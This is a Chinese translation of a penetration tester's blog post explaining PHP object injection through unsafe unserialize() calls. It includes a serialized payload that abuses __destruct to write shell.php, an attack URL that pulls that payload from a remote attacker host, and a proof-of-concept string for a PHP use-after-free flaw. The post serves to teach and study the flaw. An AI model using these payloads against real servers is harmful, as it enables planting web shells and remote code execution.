通过PHP反序列化进行远程代码执行
0×00 前言
在NotSoSecure,我们每日都会进行渗透测试或代码审查,不过最近我们遇到了一段有趣的PHP代码,它可能会导致远程代码执行(RCE)漏洞,但对它进行利用却有点棘手。
在经历了几个试图破解这段代码的不眠之夜后,我们确信利用这个漏洞可以同时进行应用级和系统级别的代码执行。这篇来自Rahul Sasi的博文将讲解关于该漏洞的一些信息,以及如何对其进行利用。
0×01 包含漏洞的代码
在上面的代码中,用户控制的值可能会被传递给PHP的反序列化函数。在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发生。由于PHP中允许对象序列化,所以攻击者可以通过将特殊的序列化字符串传递到一个脆弱的unserialization()调用中,以此导致一个任意的PHP对象注入到应用程序范围中。在我们的代码中,应用程序接收一个文件名,接着使用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前已经提到,上面的漏洞可以同时进行应用级和系统级别的代码执行,所以接下来我们将深入分析该漏洞。
为了成功地利用上述漏洞,必须满足三个条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。
2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。
3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。
参考: https://www.owasp.org/index.php/PHP_Object_Injection
在上面的场景中,条件1和条件2是为了满足于漏洞利用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该漏洞的利用有些棘手。
如果开启了allow_url_fopen(最新的PHP版本默认禁用),那么PHP函数file_get_contents可以接收远程URL作为其参数。在这种情况下,攻击者可以向该函数中输入一个包含一个恶意文件的URL,该文件中包含了序列化的植入于一个远程服务器上的恶意数据。
http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt
0×02 exp.txt内容
O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
但不幸的是,我们测试的应用程序中并没有开启allow_url_fopen。注意:包含一个/proc/self/environ这样的文件或者任何类似的内容(例如访问日志)都不可能,因为序列化字符串不应该包含垃圾数据。所以,我们的文件应该只包含用于漏洞利用的序列化数据。
在讲解如何利用上面的代码之前,我们先解释一些有关PHP对象注入利用的知识,并分析上面的载荷(payload)到底做了什么。
0×03 PHP对象注入
基于PHP反序列化的安全问题首先在2009年由Stefan Esser记录。目前,基于JSON的应用序列化模块使用量明显增多,所以让我们深入了解一下序列化模块。
0×04 PHP序列化
为了在一个数组中保存内容,PHP中会调用一个函数serialize(),它接收一个给定的数组作为输入参数,并能够将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。
参考: http://www.hackingwithphp.com/5/11/0/saving-arrays
接下来,下图中序列化一个包含3个字符的字符串数组。
理解序列化的字符串:
a:3{ Array of 3 values i:0 Integer, value [ index-0] S:5:”Lorem” String, 5 chars long, string value “Lorem” i:1 Integer, value [index-1] S:5:”Ipsum” String , 5 chars long, string value “Ipsum” i:2 Integer, value [index-2] S:5:”Dolor” String , 5 chars long, string value “Dolor”
0×05 PHP反序列化
unserialization()是serialize()的相反操作函数。它需要一个序列化的字符串作为其输入,并将其转换回一个数组对象。另外,考虑到对象实例化和自动加载,反序列化可能会导致代码被加载并被执行。
例子:
value=‘a:1:{s:4:"Test";s:17:"Unserializationhere!";}’ unserialization($value);
0×06 PHP自动载入
在PHP中,我们可以定义一些特殊函数,它们可以被自动地调用,所以这些函数不需要函数调用来执行它们里面的代码。考虑到这个特性,这些函数通常被称为魔幻函数或魔幻方法。PHP魔幻方法名称受限于PHP所支持的部分关键字,例如construct、destruct等等。
此外,最常用的魔幻函数是__construct(),因为PHP版本5中,__construct方法实际上是你所定义的类的构造函数。对于一个给定的类,如果PHP 5找不到__construct()函数,那么它将搜索一个与类名字相同的函数,这是PHP中编写构造器的老方法,这种方法中你只需要定义一个名字与类名相同的函数。
下面是PHP中的一些魔幻函数:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().
下面是PHP中的一些魔幻方法:
Exception::__toString ErrorException::__toString DateTime::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString LogicException::__toString BadFunctionCallException::__toString BadMethodCallException::__toString DomainException::__toString InvalidArgumentException::__toString LengthException::__toString OutOfRangeException::__toString RuntimeException::__toString
参考:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/
0×07 对象实例化
实例化是指:当通过在内存中创建类的一个实例时,一个类的具体化就变成了一个对象。所以,当你真正调用new class()时,class()就成为了一个实例化的对象。当你反序列化一个字符串时,而这正是PHP所做的(对象实例化),就会将一个字符串的数组转换成对象。反序列化对象允许控制所有属性:public、protected和private。然而,反序列化对象通过__wakeup()苏醒,后来通过__destruct()被销毁,因此这些(wakeup、destruct)魔幻函数中已经存在的代码将会得到执行。
所以,我们需要找到_destruct或_wakeup内定义的现有可用的代码,然后劫持应用程序的流程。
在我们脆弱的程序中,__destruct函数中包含一个函数file_put_contents:
所以我们的有效载荷(payload)看起来是这样的:
O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;} O:3{: [ Object, takes 3 parameter with name foo] ”foo”: 2:{ [Parameter foo takes 2 values] S:4:”file”;s:9:”shell.php”; [String, 4 chars long, value “file”, string 9 chars long, value shell.php] s:4:”data”;s:5:”aaaa”;} String, 4 chars long, string 5 chars long, value”aaaa”
所以当我们上面输入的是反序列化的字符串时,它允许控制类“foo”的属性。因此,魔幻方法“__destruct”中存在的代码将会以我们控制的值来执行,在我们的例子中为file_put_contents,创建一个文件“shell.php”。
0×08 漏洞利用
在我们的例子中,因为输入到unserialization()函数的是内容是从file_get_contents中读取的文件。
$file_name = $_GET[‘session_filename‘]; unserialization(file_get_contents($file ));
所以,我们尝试的其中一件事就是,找到一个方法来将exp.txt存放在服务器上。为此,我们必须找到一个文件/图片上传功能,然后以序列化的有效载荷上传该文件。然后,我们要做的就是以下面的方式触发。
http://vul-server/unsearilize.php?session_filename=images/exp.txt
使用CVE-2014-8142和CVE-2015-0231可以进行系统级远程代码执行:
“Use-after-free漏洞存在于ext/standard/var_Unserializationr.re中的函数process_nested_data内,该漏洞存在于PHP 5.4.36的之前版本、5.5.20之前的5.5.x版本以及5.6.4之前的5.6 x版本中,它允许远程攻击者通过一个精心编制的反序列化调用执行任意代码,因为在一个对象的序列化属性中,这个调用影响到了对重复键的不适当处理。”
https://bugs.php.net/bug.php?id=68710
上面的漏洞影响核心PHP unsearilize函数,这个POC由Stefan Esser发布,我们曾试图优化并利用该漏洞使代码执行成为可能,因为如果成功地进行了利用,那么将可以做到系统级的远程代码执行。
0×09 PHP+Apache安全架构
这些图已经足以详细解释PHP架构。
1)如果我们可以在PHP中的上下文执行代码,那么我们将可以打破许多限制。
2)应该能够通过shell访问加固的PHP主机。
我的工作仍然集中于这方面,并且我发现“Tim Michaud”在相同的网站上也能工作。我们将很快更新这篇博文。
http://[IP]/unsearilize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}‘;
0x0A 参考资料
1、http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
2、https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes
3、http://php-autoloader.malkusch.de/en
4、https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection
7、http://phppot.com/php/php-magic-methods
9、http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup
原文地址:https://www.cnblogs.com/bmjoker/p/8889240.html